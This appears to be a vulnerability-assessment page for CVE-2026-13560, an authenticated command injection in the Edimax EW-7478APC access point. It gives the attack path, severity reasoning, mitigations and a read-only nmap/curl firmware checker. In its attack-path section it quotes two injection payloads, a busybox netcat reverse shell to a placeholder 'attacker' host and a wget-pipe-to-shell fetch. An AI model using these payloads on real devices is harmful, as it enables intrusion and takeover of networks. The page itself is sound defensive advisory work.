← Back to Feed CACHED · 2026-06-29 14:09:32 · CACHE_KEY CVE-2026-13560
CVE-2026-13560 · CWE-77 · Disclosed 2026-06-29

A security vulnerability has been detected in Edimax EW-7478APC 1

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A consumer access point with an admin panel that runs your shell arguments through `system()` like it's 2008

CVE-2026-13560 is a command injection flaw (CWE-77) in the Edimax EW-7478APC v1.04, an AC1200 dual-band SOHO/consumer access point. An attacker who already has valid management-plane credentials can submit crafted input to a web-management handler and have it concatenated into a shell command, yielding code execution as the embedded web service account — which on these MIPS/Realtek SDK builds is effectively root. The advisory currently lists only firmware revision 1.04 as affected; Edimax has not historically published per-CVE fixed-firmware tables for this generation of hardware, and the EW-7478APC has been on the tail end of its support window for years.

Vendor severity of MEDIUM (6.3) is roughly fair on paper. The CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L reflects the two big brakes: you need credentials (PR:L) and impact is bounded to the device itself (S:U, partial CIA). What CVSS does *not* capture is that on a SOHO AP the PR:L requirement is frequently the default admin/1234-class password, and the device sits on the trust boundary between Wi-Fi clients and the wired LAN. We hold at MEDIUM but it sits at the top of the bucket.

"Authenticated command injection on an EOL SOHO access point — real risk is admin-portal-on-WAN deployments, which are rare."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Reach the management interface

Attacker needs TCP access to the HTTP/HTTPS admin UI of the EW-7478APC. In well-run deployments this is LAN-only on a management VLAN. In SOHO and small-business deployments it is reachable from the user LAN, the guest Wi-Fi, or — worst case — the WAN via UPnP or a manually opened port.
Conditions required:
  • Network reachability to the AP's management port (default TCP/80 or /443)
Where this breaks in practice:
  • Most enterprise WLAN deployments do not use Edimax APs; their footprint is SOHO/SMB
  • Mature deployments segment management onto a dedicated VLAN
Detection/coverage: Shodan/Censys queries on Edimax HTTP banners surface the externally-exposed population; counts for EW-7478APC are typically in the low thousands globally
STEP 02

Authenticate to the web UI

The CVSS PR:L requirement means the attacker needs valid management credentials. Tools: hydra, medusa, or a one-line curl loop against the login form. Default-credential reuse (admin/1234, admin/admin) is the dominant real-world path on this device class.
Conditions required:
  • Valid admin credentials, OR unchanged default credentials, OR a separate auth bypass
Where this breaks in practice:
  • Operators who changed the default password and enforce strong ones eliminate most opportunistic attackers
  • No public auth-bypass tied to this CVE so far
Detection/coverage: Failed-login bursts visible in syslog *if* the AP forwards logs — many SOHO units do not
STEP 03

Trigger the injected command

Authenticated attacker submits a crafted parameter to the vulnerable web handler; the backend concatenates it into a system()/popen() call. Payload is typically ; busybox nc -e /bin/sh attacker 4444 or $(wget http://x/m -O- | sh). Execution context is the embedded webd process — root on these Realtek-SDK builds.
Conditions required:
  • Authenticated session token
  • Knowledge of the vulnerable parameter (likely to appear in PoC within days)
Where this breaks in practice:
  • No public PoC at time of writing; reverse engineers will need to diff firmware 1.04 against any newer build
Detection/coverage: No vendor IDS signature exists; generic web-shell egress detection (outbound connections from the AP's management IP to non-update destinations) is the only realistic catch
STEP 04

Pivot from the AP

Root on the AP yields: (a) traffic interception for all associated Wi-Fi clients via tcpdump/iptables redirect, (b) DNS hijack via local resolver, (c) persistent foothold inside the LAN that survives client reboots, (d) lateral scanning with a busybox-stripped nmap or static chisel drop.
Conditions required:
  • Root code execution from step 3
  • Outbound network egress from the device
Where this breaks in practice:
  • AP firmware has limited storage — attackers usually pull tooling on-demand
  • Outbound egress filtering on the WAN/LAN boundary blocks C2 callbacks
Detection/coverage: NetFlow anomalies from infrastructure devices, and any EDR/NDR with east-west visibility
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed as of 2026-06-29. Not in CISA KEV.
Public PoCNo public PoC published at disclosure. Expect a VulDB/Exploit-DB entry within weeks given how trivial CWE-77 PoCs are to write.
EPSSNot yet scored at disclosure; comparable SOHO command-injection CVEs typically settle in the 0.1–0.5% range absent active campaigns.
KEV statusNot listed. No federal due date.
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L — network reachable, low attack complexity, authenticated, scope unchanged, low CIA impact.
Affected versionsEdimax EW-7478APC firmware 1.04. Other revisions not confirmed vulnerable in the advisory; treat all 1.0x firmware as suspect until vendor confirms.
Fixed versionNo vendor-confirmed fixed firmware at time of writing. The EW-7478APC is near end-of-life; check the Edimax support page for the model before assuming a patch will ship.
Exposure dataShodan/Censys typically show a few thousand Edimax AC1200 admin panels exposed to the public internet — overwhelmingly residential and small-business deployments, not enterprise.
Disclosure date2026-06-29
CWECWE-77 — Improper Neutralization of Special Elements used in a Command ('Command Injection')
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to MEDIUM (5.8/10)

The single most decisive factor is that exploitation requires valid management credentials on a consumer-grade access point that almost never occupies a high-value role in enterprise networks. Blast radius is capped at the device and its associated Wi-Fi clients — no identity, hypervisor, or supply-chain dimension applies.

HIGH Severity bucketing (MEDIUM)
MEDIUM Exact affected version range — only 1.04 is named so far
LOW Patch availability timeline given the device's EOL trajectory

Why this verdict

  • Authentication required (PR:L) — eliminates drive-by mass exploitation; attacker must phish, brute-force, or rely on default credentials.
  • Scope unchanged, partial CIA — the impact is the device, not the directory, not the hypervisor, not a CA. CVSS sub-score math sits at 5.5–6.3.
  • Role multiplier: Even in the worst plausible enterprise role (a guest-Wi-Fi AP in a branch office), blast radius stops at intercepting that subnet's traffic — not a fleet-scale outcome. The EW-7478APC is not a canonical high-value-role component, so no CRITICAL floor applies.
  • Exposure population is small — Edimax SOHO APs are not common in 10,000-host enterprises; where present they are usually lab/guest gear.
  • No KEV, no PoC, no campaign at disclosure — pure 0-day risk, not an active fire.

Why not higher?

Upgrading to HIGH would require either an auth bypass (none disclosed), a high-value-role deployment pattern (not the case for a consumer AP), or active in-the-wild exploitation (none). The vendor's PR:L rating is accurate and meaningfully limits the attacker population.

Why not lower?

Downgrading to LOW would ignore that default credentials on SOHO gear are a near-universal foothold and that command injection yields root on these Realtek SDK builds. Any device exposed to a guest LAN or, worse, the internet is a one-credential-away pivot point.

05 · Compensating Control

What to do — in priority order.

  1. Inventory all Edimax EW-7478APC units across the fleet — You cannot patch what you cannot find. Run an authenticated network scan or pull from your asset DB for MAC OUI 00:1F:1F, 74:DA:38, 80:1F:02 (Edimax) cross-referenced to HTTP banner strings. No mitigation SLA for MEDIUM, but complete inventory inside the 365-day remediation window.
  2. Confirm management plane is LAN/VLAN-only — Block TCP/80 and TCP/443 to every Edimax management IP from the WAN edge and from guest/user VLANs. ACL on the upstream switch or firewall — this neutralizes the remote attacker entirely and is your strongest control while you wait for firmware.
  3. Force a credential rotation on every unit — If PR:L is your only defense, make it count. Generate per-device 20-character random passwords, store in your PAM/secret manager. Removes the default-credential mass-exploit risk.
  4. Plan device replacement for EOL units — If Edimax does not ship fixed firmware within 90 days of disclosure (their track record on this generation is poor), schedule hardware refresh to an actively supported vendor inside the 365-day remediation window.
What doesn't work
  • WAF / IDS in front of the AP — the vulnerable handler is on the AP itself; no upstream WAF protects the device's own web server unless you proxy management traffic, which nobody does for SOHO APs.
  • Disabling WPS or guest Wi-Fi — the bug is in the wired management plane, not in the wireless association handshake.
  • EDR on Wi-Fi clients — the compromise is on the AP, not on the endpoints; client EDR sees nothing until lateral movement begins, which is too late.
06 · Verification

Crowdsourced verification payload.

Run on an auditor workstation with network reachability to suspected Edimax APs. Invoke as ./check_cve-2026-13560.sh 10.0.0.0/24. Requires nmap and curl; no credentials needed for the banner-grab check. Reports VULNERABLE if an EW-7478APC management UI is reachable AND firmware 1.04 is fingerprinted.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate verification: CVE-2026-13560 — Edimax EW-7478APC command injection
# Usage: ./check_cve-2026-13560.sh <CIDR-or-IP>
set -u
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
  echo "usage: $0 <cidr-or-ip>" >&2
  exit 2
fi
for dep in nmap curl; do
  command -v "$dep" >/dev/null 2>&1 || { echo "UNKNOWN: missing $dep"; exit 3; }
done

FOUND_VULN=0
FOUND_ANY=0

# 1. Identify hosts with TCP/80 or /443 open
HOSTS=$(nmap -Pn -n -p80,443 --open -oG - "$TARGET" 2>/dev/null | awk '/Ports:/ {print $2}')
for h in $HOSTS; do
  for scheme in http https; do
    BODY=$(curl -sk --max-time 5 "$scheme://$h/" 2>/dev/null)
    HDR=$(curl -skI --max-time 5 "$scheme://$h/" 2>/dev/null)
    if echo "$BODY $HDR" | grep -qiE 'EW-7478APC|Edimax'; then
      FOUND_ANY=1
      # Version fingerprint: firmware string commonly appears in /status.asp or /info.htm
      VER=$(curl -sk --max-time 5 "$scheme://$h/status.asp" 2>/dev/null | grep -oE '1\.0[0-9]+' | head -1)
      if [[ "$VER" == "1.04" ]]; then
        echo "VULNERABLE: $h firmware $VER (EW-7478APC)"
        FOUND_VULN=1
      elif [[ -n "$VER" ]]; then
        echo "PATCHED-OR-OTHER: $h firmware $VER"
      else
        echo "UNKNOWN: $h is an Edimax device but firmware could not be read without auth"
      fi
    fi
  done
done

if [[ $FOUND_VULN -eq 1 ]]; then
  exit 1
elif [[ $FOUND_ANY -eq 0 ]]; then
  echo "PATCHED: no Edimax EW-7478APC management UIs reachable in $TARGET"
  exit 0
else
  exit 0
fi
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: run the verification script across your management and user VLANs to find any EW-7478APC units — this is a SOHO AP and most enterprises will find zero. For any hits, immediately ACL the management plane to your jump-host subnet only and rotate the admin password to a 20-char random string stored in your PAM. Per the noisgate mitigation SLA, MEDIUM has no formal mitigation deadline — go straight to the noisgate remediation SLA of ≤365 days, but if Edimax has not released fixed firmware within 90 days of disclosure, schedule hardware replacement instead of waiting indefinitely. Do not let this CVE jump the queue ahead of your KEV-listed and HIGH-bucket work.

Sources

  1. CVE.org record CVE-2026-13560
  2. Feedly: Latest Edimax Vulnerabilities
  3. Vulmon: Edimax vulnerabilities and exploits
  4. Edimax EW-7478APC product/support page
  5. CWE-77: Command Injection
  6. OWASP Command Injection
  7. CISA Known Exploited Vulnerabilities Catalog
  8. FIRST EPSS
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.